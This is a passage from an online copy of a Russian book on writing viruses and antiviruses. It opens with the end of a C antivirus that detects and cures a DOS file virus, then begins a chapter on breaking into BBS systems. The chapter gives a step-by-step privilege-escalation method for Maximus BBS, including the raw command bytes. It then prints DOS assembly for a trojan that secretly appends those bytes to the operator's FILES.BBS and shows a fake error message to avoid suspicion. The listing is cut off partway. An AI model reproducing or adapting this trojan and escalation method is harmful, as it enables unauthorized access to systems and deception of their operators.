KnigaRead.com/

Игорь Гульев - Создаем вирус и антивирус

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Игорь Гульев, "Создаем вирус и антивирус" бесплатно, без регистрации.
Перейти на страницу:

/* Запускаем рекурсивный обход дерева каталогов

для выбранного диска */

walk();

old_path[2]=”0”; system(old_path);

old_path[2]=”\”; chdir(old_path);

printf(”nКаталогов : %dnФайлов : %dnОбнаружено больных

и излечено: %d”, n_dir, n_fil, n_ill);

if (n_ill) exit(1); else exit(0);

}

Файл «ANTILIB.C», включаемый в предыдущий:

/***************************************************************

Процедуры обнаружения и лечения

***************************************************************/

/* Сигнатура */

char sign[7]={ (char) 0xB4,

(char) 0x83,

(char) 0xCD,

(char) 0x21,

(char) 0x5E,

(char) 0x56,

””};

int infected( char *fn )

{

int f;

int r,q;

char buf[7]; /* Буфер под сигнатуру */

/* Открываем файл */

r=_dos_open( fn, O_RDONLY, &f );

if (r) { printf(” – ошибка открытия!”); return GOOD; }

/* Читаем 6 байт */

lseek( f, −1724, SEEK_END );

r=_dos_read( f, buf, 6, &q ); buf[6]=””;

if ((r)||(q!=6)) {printf(” – ошибка чтения!”); _dos_close(f); return GOOD;

}

/* Закрываем файл */

_dos_close(f);

/* Сравниваем байты с сигнатурой */

if (strcmp( buf, sign)==0)

{ printf(” – был болен и...”); n_ill++; return BAD; } /* Болен !!! */

/* Годен к в/службе. П/пк мед. службы Орлов :−) */

return GOOD;

}

cure( char *fn )

{

int f;

int mz;

int r,q;

char buf[24]; /* Буфер под байты */

/* Открываем файл */

r=_dos_open( fn, O_RDWR, &f );

if (r) { printf(” – ошибка открытия!”); return; }

/* Читаем первые два байта для определения типа программы */

r=_dos_read( f, &mz, 2, &q );

if ((r)||(q!=2)) {printf(” – ошибка чтения!”); _dos_close(f); return; }

/* Читаем сохраненные вирусом 24 байта старого начала */

lseek( f, −80, SEEK_END );

r=_dos_read( f, buf, 24, &q );

if ((r)||(q!=24)) {printf(” – ошибка чтения!”); _dos_close(f); return; }

/* Определяем тип программы */

if ((mz==0x4D5A)||(mz==0x5A4D))

{ /* Это exe */

/* Пишем правильные PartPag и PageCnt */

lseek( f, 2, SEEK_SET );

r=_dos_write( f, &buf[2], 4, &q );

if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }

/* Пишем правильные ReloSS и ExeSP */

lseek( f, 14, SEEK_SET );

r=_dos_write( f, &buf[14], 4, &q );

if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }

/* Пишем правильные ReloCS и ExeIP */

lseek( f, 20, SEEK_SET );

r=_dos_write( f, &buf[20], 4, &q );

if ((r)||(q!=4)) {printf(” – ошибка записи!”); _dos_close(f); return; }

}

else

{ /* Это com */

/* Восстанавливаем сохраненные 3 первые байта программы */

lseek( f, 0, SEEK_SET);

r=_dos_write( f, &buf[0], 3, &q );

if ((r)||(q!=3)) {printf(” – ошибка записи!”); _dos_close(f); return; }

}

/* Усекаем файл (переходим на начало вируса

и записываем 0 байт) */

lseek( f, −1740, SEEK_END);

r=_dos_write( f, buf, 0, &q);

/* Закрываем файл */

_dos_close(f);

printf(”теперь исцелен!n”);

return;

}

Глава 7 BBS и FTN-сети

В этой главе описаны методы взлома BBS и FTN-сетей, как программные, так и «обманные». Представлен исходный текст программы-взломщика с комментариями. Подробно рассказано о «слабых местах» различных программ для BBS и FTN-сетей. Даются рекомендации по защите компьютера от несанкционированного проникновения.

BBS – Bulletin Board System (электронная доска объявлений). Это небольшой информационный центр на базе микрокомпьютера (с винчестером большого объема), к которому пользователи могут подключиться через свой компьютер по телефонной сети в режиме точка – точка. Работая с BBS, пользователи могут не только скопировать оттуда имеющийся файл, но и оставить свой. Файлом может являться как письмо, так и обычная программа. Как правило, BBS работает в ночное время, а днем это обычный телефонный номер. Главным на BBS является системный оператор (SysOp), который и назначает ее правила и тематику. Услуги BBS часто являются бесплатными, для связи с ней достаточно обычной терминальной программы. При первом входе нужно зарегистрироваться, затем абоненту выделяется определенный промежуток времени для работы. Часто выделяемого времени недостаточно, тогда появляется потребность к взлому BBS. О том, как надо звонить на подобные BBS, как получать оттуда файлы и писать письма, можно узнать в специальной литературе. Поставленная задача – рассказать читателю, каким образом можно повысить себе уровень доступа или получить полный доступ к компьютеру. Для системных операторов это будет лишним поводом задуматься о том, как страшны последствия безграмотности…

Взлом BBS

Существует большое количество программ, предназначенных для создания и поддержания работы BBS. Рассмотрим самую популярную среди них – Maximus.

Несанкционированно проникнуть на BBS, получить доступ к закрытым областям, уничтожить информацию – такие задачи ставит перед собой взломщик.

Существуют так называемые списки файлов, в которых содержится информация о доступных пользователям этой BBS ресурсах. Как правило, такие списки есть в каждой специальной тематической конференции. Пользователи могут скопировать оттуда какой-либо файл или оставить свой. В программе Maximus списком всех файлов, доступных в конференции, является файл с названием files.bbs.

Специально для этой программы создан язык программирования, схожий с языками С и Pascal. На нем можно писать собственные программы под BBS. Скорее всего, именно поэтому большинство системных операторов предпочитают использовать Maximus. После компиляции написанной программы ее можно добавить в общую базу Maximus, и она начнет работать.

Каждая откомпилированная программа приобретает определенную маску файла. Откомпилированная MEC-программа имеет маску *. bbs, схожую с маской списка файла. Обычно в этих файлах содержатся списки, но если в коде встречаются какие-либо служебные команды, они будут выполнены. Этим взломщик и может воспользоваться.

В Maximus существуют два языка: MEC и MEX. Язык MEC очень прост, разобраться в нем может каждый. Он позволяет оперировать различными данными, заставками на BBS, базой пользователей. Системный оператор обязательно должен знать этот язык.

Используя команду «PRIV_UP» языка MEC системный оператор может без особых усилий повышать уровень пользователя, при условии, что последний будет писать и отправлять файлы на станцию. С повышением уровня, пользователь получает дополнительные возможности (увеличивается доступное для работы время, объем информации, которую можно получить с BBS). Этим и может воспользоваться хакер. Ему остается только найти BBS, работающую на программе Maximus, на которой есть много файловых конференций. При этом одна из этих конференций должна быть пустой (то есть в ней не должно быть файла files.bbs, содержащего доступные файлы в данной конференции). Таким образом, остается проверить только одно условие – если все копируемые на BBS файлы помещаются в конференцию, которая была выбрана последний раз, то такую BBS можно взломать без особых усилий. Хакеру остается только создать файл files.mec, записать в него команду PRIV_UP, затем откомпилировать этот файл при помощи компилятора MECCA (теперь он будет называться files.bbs) и отправить его на BBS. С этого момента хакер может поднимать свой уровень доступа, просматривая данную конференцию, пока он не достигнет уровня системного оператора станции. После этого компьютер окажется полностью в его распоряжении.

Если под рукой не оказалось компилятора MECCA, то создать files.bbs можно и вручную. Для этого нужно создать файл files.bbs, а затем ввести в него команду повышения уровня – на языке Maximus это всего три символа (код первого – 23h, следующие два – символы pU).

Еще один способ взлома BBS рассчитан на неграмотных системных операторов, не обладающих глубокими знаниями. Он заключается в том, что на станцию засылается программа (причем безразлично, куда она попадет), которая сама добавит команду повышения уровня в файл files.bbs. Во время просмотра доступных файлов хакеру автоматически будет подниматься уровень. Ниже приведен текст похожей исходной программы – фантазия тут может быть безгранична. Эта программа добавляет в файл files.bbs байты, повышающие уровень пользователю. После того, как системный оператор запустит эту программу на своем компьютере, программа ищет файл files.bbs и дописывает туда три байта. Приведенный пример рассчитан на системных операторов, которые держат свои файлы в каталоге, по умолчанию предлагаемом программой для установки. Хотя можно добавить поиск files.bbs по всему винчестеру компьютера.

assume cs:cseg, ds:cseg

cseg segment

org 100h

start:

;Найдем файл FILES.BBS

mov ah,4Eh

mov dx,offset fname

mov cx,20h

int 21h

;Если файл отсутствует, то выйдем из программы –

;здесь нечего исправлять

jc exit

;Откроем найденный файл

mov ax,3D02h

mov dx,9Eh

int 21h

jc exit

;Установим указатель чтения/записи в конец файла

mov bx,ax

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Записываем в файл три байта

mov ah,40h

mov cx,3

mov dx,offset bytes

int 21h

jc exit

;Закроем файл

mov ah,3Eh

int 21h

;Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,

;что отработавшая программа не должна вызвать подозрений

;системного оператора. Цель – заставить системного оператора

;думать, что файл испорчен. Возможно, он допустит, что иногда

;при передаче файлов происходят ошибки, и поэтому файл

;мог стать неработоспособным

exit:

;Выдадим сообщение об ошибке

mov ah,09h

mov dx,offset message

int 21h

;Выход в DOS

mov ah,4Ch

int 21h

;Мусор – специально для того, чтобы упаковать

;файл утилитой PKLITE

Garbage db 12000 dup (”A”)

;Имя файла ”FILES.BBS”

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*